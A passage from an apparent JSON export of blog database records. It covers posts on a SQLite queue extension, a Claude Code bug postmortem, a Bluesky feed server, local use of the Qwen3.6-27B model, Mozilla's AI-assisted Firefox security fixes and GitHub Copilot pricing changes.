two:</p>\r\n<div class=\"highlight highlight-source-sql\"><pre><span class=\"pl-k\">SELECT</span> notify(<span class=\"pl-s\"><span class=\"pl-pds\">'</span>orders<span class=\"pl-pds\">'</span></span>, <span class=\"pl-s\"><span class=\"pl-pds\">'</span>{\"id\":42}<span class=\"pl-pds\">'</span></span>);\r\n<span class=\"pl-k\">SELECT</span> honker_stream_read_since(<span class=\"pl-s\"><span class=\"pl-pds\">'</span>orders<span class=\"pl-pds\">'</span></span>, <span class=\"pl-c1\">0</span>, <span class=\"pl-c1\">1000</span>);</pre></div>\r\n<p>The extension requires WAL mode, and workers can poll the <code>.db-wal</code> file with a stat call every 1ms to get as close to real-time as possible without the expense of running a full SQL query.</p>\r\n<p>honker implements the <strong>transactional outbox pattern</strong>, which ensures items are only queued if a transaction successfully commits. My favorite explanation of that pattern remains <a href=\"https://brandur.org/job-drain\">Transactionally Staged Job Drains in Postgres</a> by Brandur Leach. It's great to see a new implementation of that pattern for SQLite.</p>",
  "created": "2026-04-24T01:50:07+00:00",
  "metadata": {},
  "search_document": "'-1':72C '0':150C '1000':151C '1ms':171C '20':132C '42':143C 'a':13C,62C,167C,187C,204C,229C 'ack':77C 'adds':131C 'alice@example.com':59C 'also':130C 'and':17C,78C,157C 'app.db':51C 'are':200C 'as':12C,95C,174C,180C 'async':65C,116C 'await':124C 'bindings':20C 'brandur':222C 'browser':127C 'by':221C 'call':169C 'can':159C 'change':112C 'claim':70C 'close':175C 'code':39C 'commits':207C 'consume':60C 'consumer':122C 'custom':133C 'dashboard':123C 'databases':2B 'db':48C,53C,87C,93C,163C 'db-wal':162C 'design':28C 'drains':218C 'durable':82C 'emails':52C,55C,56C,69C 'enqueue':57C 'ensures':198C 'event':118C,128C 'events':91C 'every':170C 'execute':98C 'expense':184C 'explanation':210C 'extension':16C,153C 'favorite':209C 'file':165C 'for':9C,40C,66C,117C,235C 'full':188C 'functions':135C 'get':173C 'github.com':237C 'great':226C 'help':22C 'hn':239C 'honker':47C,49C,145C,191C 'id':104C,110C,142C 'if':203C 'implementation':231C 'implemented':11C 'implements':192C 'import':46C 'in':61C,68C,119C,219C 'including':136C 'it':26C,34C,129C,224C 'items':199C 'job':67C,74C,76C,217C 'kafka':80C 'kafka-style':79C 'language':19C 'leach':223C 'lets':35C 'like':44C,84C 'looks':31C,43C 'make':23C 'mode':156C 'my':208C 'name':102C,105C,113C 'new':230C 'notify':140C 'notify/listen':7C 'of':25C,29C,185C,211C,232C 'only':201C 'open':50C 'orders':141C,149C 'outbox':195C 'pattern':196C,213C,234C 'payload':75C 'poll':160C 'possible':181C 'postgres':6C,220C 'postgresql':3B 'process':64C 'publish':108C 'push':125C 'python':38C 'query':190C 'queue':54C 'queued':202C 'queues':41C 'read':147C 'real':178C 'real-time':177C 'remains':214C 'requires':154C 'running':186C 'russellromney/honker':1A 'rust':5B,14C 's':225C 'see':228C 'select':139C,144C 'semantics':8C 'send':73C 'set':101C 'show':238C 'since':148C 'solid':33C 'sql':134C,189C 'sqlite':4B,10C,15C,236C 'staged':216C 'stat':168C 'stream':86C,88C,107C,120C,146C 'streams':83C 'style':81C 'subscribe':121C 'successfully':206C 'that':42C,212C,233C 'the':27C,152C,161C,183C,193C 'these':137C 'this':30C,45C,85C 'time':179C 'to':21C,58C,126C,172C,176C,227C 'transaction':94C,205C 'transactional':194C 'transactionally':215C 'two':138C 'tx':96C,97C,114C,115C 'uid':106C,111C 'update':99C 'use':24C 'user':90C,109C 'user-events':89C 'users':100C 'various':18C 'very':32C 'wal':155C,164C 'where':103C 'which':197C 'with':92C,166C 'without':182C 'worker':63C,71C 'workers':158C 'write':37C 'you':36C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-24 01:31:25+00:00
{
  "id": 9426,
  "slug": "recent-claude-code-quality-reports",
  "link_url": "https://www.anthropic.com/engineering/april-23-postmortem",
  "link_title": "An update on recent Claude Code quality reports",
  "via_url": "https://news.ycombinator.com/item?id=47878905",
  "via_title": "Hacker News",
  "commentary": "It turns out the high volume of complaints that Claude Code was providing worse quality results over the past two months was grounded in real problems.\r\n\r\nThe models themselves were not to blame, but three separate issues in the Claude Code harness caused complex but material problems which directly affected users.\r\n\r\nAnthropic's postmortem describes these in detail. This one in particular stood out to me:\r\n\r\n> On March 26, we shipped a change to clear Claude's older thinking from sessions that had been idle for over an hour, to reduce latency when users resumed those sessions. A bug caused this to keep happening every turn for the rest of the session instead of just once, which made Claude seem forgetful and repetitive.\r\n\r\nI *frequently* have Claude Code sessions which I leave for an hour (or often a day or longer) before returning to them. Right now I have 11 of those (according to `ps aux\u00a0 | grep 'claude '`) and that's after closing down dozens more the other day.\r\n\r\nI estimate I spend more time prompting in these \"stale\" sessions than sessions that I've recently started!\r\n\r\nIf you're building agentic systems it's worth reading this article in detail - the kinds of bugs that affect harnesses are deeply complicated, even if you put aside the inherent non-deterministic nature of the models themselves.",
  "created": "2026-04-24T01:31:25+00:00",
  "metadata": {},
  "search_document": "'11':173C '26':92C 'a':95C,121C,161C 'according':176C 'affect':230C 'affected':73C 'after':185C 'agentic':215C 'agents':20B 'ai':9B,15B 'an':1A,111C,157C 'and':145C,182C 'anthropic':17B,75C 'are':232C 'article':222C 'aside':239C 'aux':179C 'been':107C 'before':165C 'blame':56C 'bug':122C 'bugs':228C 'building':214C 'but':57C,68C 'caused':66C,123C 'change':96C 'claude':5A,22B,33C,63C,99C,142C,150C,181C 'claude-code':21B 'clear':98C 'closing':186C 'code':6A,23B,34C,64C,151C 'coding':19B 'coding-agents':18B 'complaints':31C 'complex':67C 'complicated':234C 'day':162C,192C 'deeply':233C 'describes':78C 'detail':81C,224C 'deterministic':244C 'directly':72C 'down':187C 'dozens':188C 'engineering':12B 'estimate':194C 'even':235C 'every':128C 'for':109C,130C,156C 'forgetful':144C 'frequently':148C 'from':103C 'generative':14B 'generative-ai':13B 'grep':180C 'grounded':46C 'hacker':251C 'had':106C 'happening':127C 'harness':65C 'harnesses':231C 'have':149C,172C 'high':28C 'hour':112C,158C 'i':147C,154C,171C,193C,195C,207C 'idle':108C 'if':211C,236C 'in':47C,61C,80C,84C,200C,223C 'inherent':241C 'instead':136C 'issues':60C 'it':24C,217C 'just':138C 'keep':126C 'kinds':226C 'latency':115C 'leave':155C 'llms':16B 'longer':164C 'made':141C 'march':91C 'material':69C 'me':89C 'models':51C,248C 'months':44C 'more':189C,197C 'nature':245C 'news':252C 'non':243C 'non-deterministic':242C 'not':54C 'now':170C 'of':30C,133C,137C,174C,227C,246C 'often':160C 'older':101C 'on':3A,90C 'once':139C 'one':83C 'or':159C,163C 'other':191C 'out':26C,87C 'over':40C,110C 'particular':85C 'past':42C 'postmortem':77C 'problems':49C,70C 'prompt':11B 'prompt-engineering':10B 'prompting':199C 'providing':36C 'ps':178C 'put':238C 'quality':7A,38C 're':213C 'reading':220C 'real':48C 'recent':4A 'recently':209C 'reduce':114C 'repetitive':146C 'reports':8A 'rest':132C 'results':39C 'resumed':118C 'returning':166C 'right':169C 's':76C,100C,184C,218C 'seem':143C 'separate':59C 'session':135C 'sessions':104C,120C,152C,203C,205C 'shipped':94C 'spend':196C 'stale':202C 'started':210C 'stood':86C 'systems':216C 'than':204C 'that':32C,105C,183C,206C,229C 'the':27C,41C,50C,62C,131C,134C,190C,225C,240C,247C 'them':168C 'themselves':52C,249C 'these':79C,201C 'thinking':102C 'this':82C,124C,221C 'those':119C,175C 'three':58C 'time':198C 'to':55C,88C,97C,113C,125C,167C,177C 'turn':129C 'turns':25C 'two':43C 'update':2A 'users':74C,117C 've':208C 'volume':29C 'was':35C,45C 'we':93C 'were':53C 'when':116C 'which':71C,140C,153C 'worse':37C 'worth':219C 'www.anthropic.com':250C 'you':212C,237C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-24 01:08:17+00:00
{
  "id": 9425,
  "slug": "serving-the-for-you-feed",
  "link_url": "https://atproto.com/blog/serving-the-for-you-feed",
  "link_title": "Serving the For You feed",
  "via_url": null,
  "via_title": null,
  "commentary": "One of Bluesky's most interesting features is that anyone can run their own [custom \"feed\" implementation](bluesky custom feed) and make it available to other users - effectively enabling custom algorithms that can use any mechanism they like to recommend posts.\r\n\r\nspacecowboy runs the [For You Feed](https://bsky.app/profile/did:plc:3guzzweuqraryl3rdkimjamk/feed/for-you), used by around 72,000 people. This guest post on the AT Protocol blog explains how it works.\r\n\r\nThe architecture is *fascinating*. The feed is served by a single Go process using SQLite on a \"gaming\" PC in spacecowboy's living room - 16 cores, 96GB of RAM and 4TB of attached NVMe storage.\r\n\r\nRecommendations are based on likes: what else are the people who like the same things as you liking on the platform?\r\n\r\nThat Go server consumes the Bluesky firehose and stores the relevant details in SQLite, keeping the last 90 days of relevant data, which currently uses around 419GB of SQLite storage.\r\n\r\nPublic internet traffic is handled by a $7/month VPS on OVH, which talks to the living room server via Tailscale.\r\n\r\nTotal cost is now $30/month: $20 in electricity, $7 in VPS and $3 for the two domain names. spacecowboy estimates that the existing system could handle all ~1 million daily active Bluesky users if they were to switch to the cheapest algorithm they have found to work.",
  "created": "2026-04-24T01:08:17+00:00",
  "metadata": {},
  "search_document": "'/profile/did:plc:3guzzweuqraryl3rdkimjamk/feed/for-you),':63C '000':68C '1':215C '16':106C '20':193C '3':200C '30/month':192C '419gb':164C '4tb':112C '7':196C '7/month':175C '72':67C '90':155C '96gb':108C 'a':91C,98C,174C 'active':218C 'algorithm':229C 'algorithms':44C 'all':214C 'and':34C,111C,145C,199C 'any':48C 'anyone':23C 'architecture':11B,83C 'are':118C,124C 'around':66C,163C 'as':132C 'at':75C 'atproto.com':235C 'attached':114C 'available':37C 'based':119C 'blog':77C 'bluesky':13B,16C,31C,143C,219C 'bsky.app':62C 'bsky.app/profile/did:plc:3guzzweuqraryl3rdkimjamk/feed/for-you),':61C 'by':65C,90C,173C 'can':24C,46C 'cheapest':228C 'consumes':141C 'cores':107C 'cost':189C 'could':212C 'currently':161C 'custom':28C,32C,43C 'daily':217C 'data':159C 'days':156C 'details':149C 'domain':204C 'effectively':41C 'electricity':195C 'else':123C 'enabling':42C 'estimates':207C 'existing':210C 'explains':78C 'fascinating':85C 'features':20C 'feed':5A,29C,33C,60C,87C 'firehose':144C 'for':3A,58C,201C 'found':232C 'gaming':99C 'go':6B,93C,139C 'guest':71C 'handle':213C 'handled':172C 'have':231C 'how':79C 'if':221C 'implementation':30C 'in':101C,150C,194C,197C 'interesting':19C 'internet':169C 'is':21C,84C,88C,171C,190C 'it':36C,80C 'keeping':152C 'last':154C 'like':51C,128C 'likes':121C 'liking':134C 'living':104C,183C 'make':35C 'mechanism':49C 'million':216C 'most':18C 'names':205C 'now':191C 'nvme':115C 'of':15C,109C,113C,157C,165C 'on':73C,97C,120C,135C,177C 'one':14C 'other':39C 'ovh':178C 'own':27C 'pc':100C 'people':69C,126C 'platform':137C 'post':72C 'posts':54C 'process':94C 'protocol':76C 'public':168C 'ram':110C 'recommend':53C 'recommendations':117C 'relevant':148C,158C 'room':105C,184C 'run':25C 'runs':56C 's':17C,103C 'same':130C 'scaling':7B 'served':89C 'server':140C,185C 'serving':1A 'single':92C 'software':10B 'software-architecture':9B 'spacecowboy':55C,102C,206C 'sqlite':8B,96C,151C,166C 'storage':116C,167C 'stores':146C 'switch':225C 'system':211C 'tailscale':12B,187C 'talks':180C 'that':22C,45C,138C,208C 'the':2A,57C,74C,82C,86C,125C,129C,136C,142C,147C,153C,182C,202C,209C,227C 'their':26C 'they':50C,222C,230C 'things':131C 'this':70C 'to':38C,52C,181C,224C,226C,233C 'total':188C 'traffic':170C 'two':203C 'use':47C 'used':64C 'users':40C,220C 'uses':162C 'using':95C 'via':186C 'vps':176C,198C 'were':223C 'what':122C 'which':160C,179C 'who':127C 'work':234C 'works':81C 'you':4A,59C,133C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-04-23 13:35:37+00:00
{
  "id": 2159,
  "slug": "maggie-appleton",
  "quotation": "[...] if you ever needed another reason to\u00a0[learn in public](https://www.swyx.io/learn-in-public) by [digital gardening](https://maggieappleton.com/garden-history) or podcasting or streaming or whathaveyou, add on that people will assume you\u2019re more competent than you are. This will get you invites to very cool exclusive events filled with high-achieving, interesting people, even though you have no right to be there. A+ side benefit.",
  "source": "Maggie Appleton",
  "source_url": "https://maggieappleton.com/gathering-structures",
  "created": "2026-04-23T13:35:37+00:00",
  "metadata": {},
  "search_document": "'/garden-history)':19A '/learn-in-public)':13A 'a':65A 'achieving':53A 'add':26A 'another':5A 'appleton':71B,73C 'are':38A 'assume':31A 'be':63A 'benefit':67A 'blogging':68B 'by':14A 'competent':35A 'cool':46A 'digital':15A 'even':56A 'events':48A 'ever':3A 'exclusive':47A 'filled':49A 'gardening':16A 'get':41A 'have':59A 'high':52A 'high-achieving':51A 'if':1A 'in':9A 'interesting':54A 'invites':43A 'learn':8A 'maggie':70B,72C 'maggie-appleton':69B 'maggieappleton.com':18A 'maggieappleton.com/garden-history)':17A 'more':34A 'needed':4A 'no':60A 'on':27A 'or':20A,22A,24A 'people':29A,55A 'podcasting':21A 'public':10A 're':33A 'reason':6A 'right':61A 'side':66A 'streaming':23A 'than':36A 'that':28A 'there':64A 'this':39A 'though':57A 'to':7A,44A,62A 'very':45A 'whathaveyou':25A 'will':30A,40A 'with':50A 'www.swyx.io':12A 'www.swyx.io/learn-in-public)':11A 'you':2A,32A,37A,42A,58A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "Gathering Structures ([via](https://notes.andymatuschak.org/Work_with_the_garage_door_up))"
}
blogmark 2026-04-22 16:45:23+00:00
{
  "id": 9420,
  "slug": "qwen36-27b",
  "link_url": "https://qwen.ai/blog?id=qwen3.6-27b",
  "link_title": "Qwen3.6-27B: Flagship-Level Coding in a 27B Dense Model",
  "via_url": "https://news.ycombinator.com/item?id=47863217",
  "via_title": "Hacker News",
  "commentary": "Big claims from Qwen about their latest open weight model:\r\n\r\n> Qwen3.6-27B delivers flagship-level agentic coding performance, surpassing the previous-generation open-source flagship Qwen3.5-397B-A17B (397B total / 17B active MoE) across all major coding benchmarks.\r\n\r\nOn Hugging Face [Qwen3.5-397B-A17B](https://huggingface.co/Qwen/Qwen3.5-397B-A17B/tree/main) is 807GB, this new [Qwen3.6-27B](https://huggingface.co/Qwen/Qwen3.6-27B/tree/main) is 55.6GB.\r\n\r\nI tried it out with the 16.8GB Unsloth [Qwen3.6-27B-GGUF:Q4_K_M](https://huggingface.co/unsloth/Qwen3.6-27B-GGUF) quantized version and `llama-server` using this recipe by [benob on Hacker News](https://news.ycombinator.com/item?id=47863217#47865140), after first installing `llama-server` using `brew install llama.cpp`:\r\n\r\n    llama-server \\\r\n        -hf unsloth/Qwen3.6-27B-GGUF:Q4_K_M \\\r\n        --no-mmproj \\\r\n        --fit on \\\r\n        -np 1 \\\r\n        -c 65536 \\\r\n        --cache-ram 4096 -ctxcp 2 \\\r\n        --jinja \\\r\n        --temp 0.6 \\\r\n        --top-p 0.95 \\\r\n        --top-k 20 \\\r\n        --min-p 0.0 \\\r\n        --presence-penalty 0.0 \\\r\n        --repeat-penalty 1.0 \\\r\n        --reasoning on \\\r\n        --chat-template-kwargs '{\"preserve_thinking\": true}'\r\n\r\nOn first run that saved the ~17GB model to `~/.cache/huggingface/hub/models--unsloth--Qwen3.6-27B-GGUF`.\r\n\r\nHere's [the transcript](https://gist.github.com/simonw/4d99d730c840df594096366db1d27281) for \"Generate an SVG of a pelican riding a bicycle\". This is an *outstanding* result for a 16.8GB local model:\r\n\r\n![Bicycle has spokes, a chain and a correctly shaped frame. Handlebars are a bit detached. Pelican has wing on the handlebars, weirdly bent legs that touch the pedals and a good bill. Background details are pleasant - semi-transparent clouds, birds, grass, sun.](https://static.simonwillison.net/static/2026/Qwen3.6-27B-GGUF-Q4_K_M.png)\r\n\r\nPerformance numbers reported by `llama-server`:\r\n\r\n- Reading: 20 tokens, 0.4s, 54.32 tokens/s\r\n- Generation: 4,444 tokens, 2min 53s, 25.57 tokens/s\r\n\r\nFor good measure, here's [Generate an SVG of a NORTH VIRGINIA OPOSSUM ON AN E-SCOOTER](https://gist.github.com/simonw/95735fe5e76e6fdf1753e6dcce360699) (run previously [with GLM-5.1](https://simonwillison.net/2026/Apr/7/glm-51/)):\r\n\r\n![Digital illustration in a neon Tron-inspired style of a grey cat-like creature wearing cyan visor goggles riding a glowing cyan futuristic motorcycle through a dark cityscape at night, with its long tail trailing behind, silhouetted buildings with yellow-lit windows in the background, and a glowing magenta moon on the right.](https://static.simonwillison.net/static/2026/qwen3.6-27b-possum.jpg)\r\n\r\nThat one took 6,575 tokens, 4min 25s, 24.74 t/s.",
  "created": "2026-04-22T16:45:23+00:00",
  "metadata": {},
  "search_document": "'-5.1':320C '/.cache/huggingface/hub/models--unsloth--qwen3.6-27b-gguf':198C '/2026/apr/7/glm-51/)):':323C '/item?id=47863217#47865140),':123C '/qwen/qwen3.5-397b-a17b/tree/main)':79C '/qwen/qwen3.6-27b/tree/main)':87C '/simonw/4d99d730c840df594096366db1d27281)':205C '/simonw/95735fe5e76e6fdf1753e6dcce360699)':315C '/static/2026/qwen3.6-27b-gguf-q4_k_m.png)':272C '/static/2026/qwen3.6-27b-possum.jpg)':382C '/unsloth/qwen3.6-27b-gguf)':106C '0.0':171C,175C '0.4':283C '0.6':159C '0.95':163C '1':148C '1.0':179C '16.8':97C,223C '17b':65C '17gb':195C '2':156C '20':167C,281C '24.74':391C '25.57':293C '25s':390C '27b':8A '2min':291C '397b':63C '4':288C '4096':154C '444':289C '4min':389C '53s':292C '54.32':285C '55.6':89C '575':387C '6':386C '65536':150C '807gb':81C 'a':7A,23B,211C,214C,222C,230C,233C,239C,256C,304C,327C,334C,345C,351C,373C 'about':39C 'across':68C 'active':66C 'after':124C 'agentic':50C 'ai':11B,14B,32B 'ai-in-china':31B 'all':69C 'an':208C,218C,301C,309C 'and':109C,232C,255C,372C 'are':238C,261C 'at':354C 'background':259C,371C 'behind':361C 'benchmarks':72C 'benob':117C 'bent':249C 'bicycle':24B,215C,227C 'big':35C 'bill':258C 'birds':267C 'bit':240C 'brew':131C 'buildings':363C 'by':116C,276C 'c':149C 'cache':152C 'cache-ram':151C 'cat':337C 'cat-like':336C 'chain':231C 'chat':183C 'chat-template-kwargs':182C 'china':34B 'cityscape':353C 'claims':36C 'clouds':266C 'coding':5A,51C,71C 'correctly':234C 'cpp':27B 'creature':339C 'ctxcp':155C 'cyan':341C,347C 'dark':352C 'delivers':46C 'dense':9A 'detached':241C 'details':260C 'digital':324C 'e':311C 'e-scooter':310C 'face':75C 'first':125C,190C 'fit':145C 'flagship':3A,48C,61C 'flagship-level':2A,47C 'for':206C,221C,295C 'frame':236C 'from':37C 'futuristic':348C 'gb':90C,98C,224C 'generate':207C,300C 'generation':57C,287C 'generative':13B 'generative-ai':12B 'gist.github.com':204C,314C 'gist.github.com/simonw/4d99d730c840df594096366db1d27281)':203C 'gist.github.com/simonw/95735fe5e76e6fdf1753e6dcce360699)':313C 'glm':319C 'glowing':346C,374C 'goggles':343C 'good':257C,296C 'grass':268C 'grey':335C 'hacker':119C,394C 'handlebars':237C,247C 'has':228C,243C 'here':199C,298C 'hf':137C 'hugging':74C 'huggingface.co':78C,86C,105C 'huggingface.co/qwen/qwen3.5-397b-a17b/tree/main)':77C 'huggingface.co/qwen/qwen3.6-27b/tree/main)':85C 'huggingface.co/unsloth/qwen3.6-27b-gguf)':104C 'i':91C 'illustration':325C 'in':6A,33B,326C,369C 'inspired':331C 'install':132C 'installing':126C 'is':80C,88C,217C 'it':93C 'its':357C 'jinja':157C 'k':102C,140C,166C 'kwargs':185C 'latest':41C 'legs':250C 'level':4A,49C 'like':338C 'lit':367C 'llama':26B,111C,128C,135C,278C 'llama-cpp':25B 'llama-server':110C,127C,134C,277C 'llama.cpp':133C 'llm':29B 'llm-release':28B 'llms':17B,18B 'local':16B,225C 'local-llms':15B 'long':358C 'm':103C,141C 'magenta':375C 'major':70C 'measure':297C 'min':169C 'min-p':168C 'mmproj':144C 'model':10A,44C,196C,226C 'moe':67C 'moon':376C 'motorcycle':349C 'neon':328C 'new':83C 'news':120C,395C 'news.ycombinator.com':122C 'news.ycombinator.com/item?id=47863217#47865140),':121C 'night':355C 'no':143C 'no-mmproj':142C 'north':305C 'np':147C 'numbers':274C 'of':210C,303C,333C 'on':73C,118C,146C,181C,189C,245C,308C,377C 'one':384C 'open':42C,59C 'open-source':58C 'opossum':307C 'out':94C 'outstanding':219C 'p':162C,170C 'pedals':254C 'pelican':21B,212C,242C 'pelican-riding-a-bicycle':20B 'penalty':174C,178C 'performance':52C,273C 'pleasant':262C 'presence':173C 'presence-penalty':172C 'preserve':186C 'previous':56C 'previous-generation':55C 'previously':317C 'q4':101C,139C 'quantized':107C 'qwen':19B,38C 'qwen.ai':393C 'qwen3.5-397b-a17b':62C,76C 'qwen3.6-27b':1A,45C,84C 'qwen3.6-27b-gguf':100C 'ram':153C 'reading':280C 'reasoning':180C 'recipe':115C 'release':30B 'repeat':177C 'repeat-penalty':176C 'reported':275C 'result':220C 'riding':22B,213C,344C 'right':379C 'run':191C,316C 's':200C,284C,299C 'saved':193C 'scooter':312C 'semi':264C 'semi-transparent':263C 'server':112C,129C,136C,279C 'shaped':235C 'silhouetted':362C 'simonwillison.net':322C 'simonwillison.net/2026/apr/7/glm-51/)):':321C 'source':60C 'spokes':229C 'static.simonwillison.net':271C,381C 'static.simonwillison.net/static/2026/qwen3.6-27b-gguf-q4_k_m.png)':270C 'static.simonwillison.net/static/2026/qwen3.6-27b-possum.jpg)':380C 'style':332C 'sun':269C 'surpassing':53C 'svg':209C,302C 't/s':392C 'tail':359C 'temp':158C 'template':184C 'that':192C,251C,383C 'the':54C,96C,194C,201C,246C,253C,370C,378C 'their':40C 'thinking':187C 'this':82C,114C,216C 'through':350C 'to':197C 'tokens':282C,290C,388C 'tokens/s':286C,294C 'took':385C 'top':161C,165C 'top-k':164C 'top-p':160C 'total':64C 'touch':252C 'trailing':360C 'transcript':202C 'transparent':265C 'tried':92C 'tron':330C 'tron-inspired':329C 'true':188C 'unsloth':99C 'unsloth/qwen3.6-27b-gguf':138C 'using':113C,130C 'version':108C 'virginia':306C 'visor':342C 'wearing':340C 'weight':43C 'weirdly':248C 'windows':368C 'wing':244C 'with':95C,318C,356C,364C 'yellow':366C 'yellow-lit':365C",
  "import_ref": null,
  "card_image": "https://static.simonwillison.net/static/2026/Qwen3.6-27B-GGUF-Q4_K_M.png",
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-04-22 05:40:56+00:00
{
  "id": 2142,
  "slug": "bobby-holley",
  "quotation": "As part of our continued collaboration with Anthropic, we had the opportunity to apply an early version of Claude Mythos Preview to Firefox. This week\u2019s release of Firefox 150 includes fixes for [271 vulnerabilities](https://www.mozilla.org/en-US/security/advisories/mfsa2026-30/) identified during this initial evaluation. [...]\r\n\r\nOur experience is a hopeful one for teams who shake off the vertigo and get to work. You may need to reprioritize everything else to bring relentless and single-minded focus to the task, but there is light at the end of the tunnel. We are extremely proud of how our team rose to meet this challenge, and others will too. Our work isn\u2019t finished, but we\u2019ve turned the corner and can glimpse a future much better than just keeping up. **Defenders finally have a chance to win, decisively**.",
  "source": "Bobby Holley",
  "source_url": "https://blog.mozilla.org/en/privacy-security/ai-security-zero-day-vulnerabilities/",
  "created": "2026-04-22T05:40:56+00:00",
  "metadata": {},
  "search_document": "'/en-us/security/advisories/mfsa2026-30/)':38A '150':30A '271':34A 'a':47A,120A,131A 'ai':139B,142B,147B 'ai-security-research':146B 'an':15A 'and':57A,71A,102A,117A 'anthropic':8A,144B 'apply':14A 'are':90A 'as':1A 'at':83A 'better':123A 'bobby':150C 'bring':69A 'but':79A,111A 'can':118A 'challenge':101A 'chance':132A 'claude':19A,145B 'collaboration':6A 'continued':5A 'corner':116A 'decisively':135A 'defenders':128A 'during':40A 'early':16A 'else':67A 'end':85A 'evaluation':43A 'everything':66A 'experience':45A 'extremely':91A 'finally':129A 'finished':110A 'firefox':23A,29A,136B 'fixes':32A 'focus':75A 'for':33A,50A 'future':121A 'generative':141B 'generative-ai':140B 'get':58A 'glimpse':119A 'had':10A 'have':130A 'holley':151C 'hopeful':48A 'how':94A 'identified':39A 'includes':31A 'initial':42A 'is':46A,81A 'isn':108A 'just':125A 'keeping':126A 'light':82A 'llms':143B 'may':62A 'meet':99A 'minded':74A 'mozilla':137B 'much':122A 'mythos':20A 'need':63A 'of':3A,18A,28A,86A,93A 'off':54A 'one':49A 'opportunity':12A 'others':103A 'our':4A,44A,95A,106A 'part':2A 'preview':21A 'proud':92A 'release':27A 'relentless':70A 'reprioritize':65A 'research':149B 'rose':97A 's':26A 'security':138B,148B 'shake':53A 'single':73A 'single-minded':72A 't':109A 'task':78A 'team':96A 'teams':51A 'than':124A 'the':11A,55A,77A,84A,87A,115A 'there':80A 'this':24A,41A,100A 'to':13A,22A,59A,64A,68A,76A,98A,133A 'too':105A 'tunnel':88A 'turned':114A 'up':127A 've':113A 'version':17A 'vertigo':56A 'vulnerabilities':35A 'we':9A,89A,112A 'week':25A 'who':52A 'will':104A 'win':134A 'with':7A 'work':60A,107A 'www.mozilla.org':37A 'www.mozilla.org/en-us/security/advisories/mfsa2026-30/)':36A 'you':61A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "CTO, Firefox"
}
blogmark 2026-04-22 03:30:02+00:00
{
  "id": 9419,
  "slug": "changes-to-github-copilot",
  "link_url": "https://github.blog/news-insights/company-news/changes-to-github-copilot-individual-plans/",
  "link_title": "Changes to GitHub Copilot Individual plans",
  "via_url": "https://news.ycombinator.com/item?id=47838508",
  "via_title": "Hacker News",
  "commentary": "On the same day as Claude Code's temporary will-they-won't-they $100/month kerfuffle (for the moment, [they won't](https://simonwillison.net/2026/Apr/22/claude-code-confusion/#they-reversed-it)), here's the latest on GitHub Copilot pricing.\r\n\r\nUnlike Anthropic, GitHub put up an official announcement about their changes, which include tightening usage limits, pausing signups for individual plans (!), restricting Claude Opus 4.7 to the more expensive $39/month \"Pro+\" plan, and dropping the previous Opus models entirely.\r\n\r\nThe key paragraph:\r\n\r\n> Agentic workflows have fundamentally changed Copilot\u2019s compute demands. Long-running, parallelized sessions now regularly consume far more resources than the original plan structure was built to support. As Copilot\u2019s agentic capabilities have expanded rapidly, agents are doing more work, and more customers are hitting usage limits designed to maintain service reliability.\r\n\r\nIt's easy to forget that just six months ago heavy LLM users were burning an order of magnitude less tokens. Coding agents consume a *lot* of compute.\r\n\r\nCopilot was also unique (I believe) among agents in charging per-request, not per-token. (*Correction: Windsurf also operated a credit system like this which they [abandoned last month](https://windsurf.com/blog/windsurf-pricing-plans)*.) This means that single agentic requests which burn more tokens cut directly into their margins. The most recent pricing scheme addresses that with token-based usage limits on a per-session and weekly basis.\r\n\r\nMy one problem with this announcement is that it doesn't clearly clarify *which* product called \"GitHub Copilot\" is affected by these changes. Last month in [How many products does Microsoft have named 'Copilot'? I mapped every one](https://teybannerman.com/strategy/2026/03/31/how-many-microsoft-copilot-are-there.html) Tey Bannerman identified 75 products that share the Copilot brand, 15 of which have \"GitHub Copilot\" in the title.\r\n\r\nJudging by the linked [GitHub Copilot plans page](https://github.com/features/copilot/plans) this covers Copilot CLI, Copilot cloud agent and code review (features on [GitHub.com](https://github.com/) itself), and the Copilot IDE features available in VS Code, Zed, JetBrains and more.",
  "created": "2026-04-22T03:30:02+00:00",
  "metadata": {},
  "search_document": "'/)':338C '/2026/apr/22/claude-code-confusion/#they-reversed-it)),':49C '/blog/windsurf-pricing-plans)*.)':215C '/features/copilot/plans)':322C '/strategy/2026/03/31/how-many-microsoft-copilot-are-there.html)':292C '100/month':39C '15':303C '39/month':87C '4.7':82C '75':296C 'a':178C,203C,245C 'abandoned':210C 'about':66C 'addresses':236C 'affected':271C 'agent':329C 'agentic':100C,132C,220C 'agents':22B,137C,176C,189C 'ago':163C 'ai':9B,12B 'also':184C,201C 'among':188C 'an':63C,169C 'and':90C,142C,249C,330C,340C,351C 'announcement':65C,257C 'anthropic':59C 'are':138C,145C 'as':27C,129C 'available':345C 'bannerman':294C 'based':241C 'basis':251C 'believe':187C 'brand':302C 'built':126C 'burn':223C 'burning':168C 'by':272C,313C 'called':267C 'capabilities':133C 'changed':104C 'changes':1A,68C,274C 'charging':191C 'clarify':264C 'claude':28C,80C 'clearly':263C 'cli':326C 'cloud':328C 'code':29C,331C,348C 'coding':21B,175C 'coding-agents':20B 'compute':107C,181C 'consume':116C,177C 'copilot':4A,15B,56C,105C,130C,182C,269C,285C,301C,308C,317C,325C,327C,342C 'correction':199C 'covers':324C 'credit':204C 'customers':144C 'cut':226C 'day':26C 'demands':108C 'designed':149C 'directly':227C 'does':281C 'doesn':261C 'doing':139C 'dropping':91C 'easy':156C 'entirely':96C 'every':288C 'expanded':135C 'expensive':86C 'far':117C 'features':333C,344C 'for':41C,76C 'forget':158C 'fundamentally':103C 'generative':11B 'generative-ai':10B 'github':3A,7B,14B,55C,60C,268C,307C,316C 'github-copilot':13B 'github.blog':353C 'github.com':321C,335C,337C 'github.com/)':336C 'github.com/features/copilot/plans)':320C 'hacker':354C 'have':102C,134C,283C,306C 'heavy':164C 'here':50C 'hitting':146C 'how':278C 'i':186C,286C 'ide':343C 'identified':295C 'in':190C,277C,309C,346C 'include':70C 'individual':5A,77C 'into':228C 'is':258C,270C 'it':154C,260C 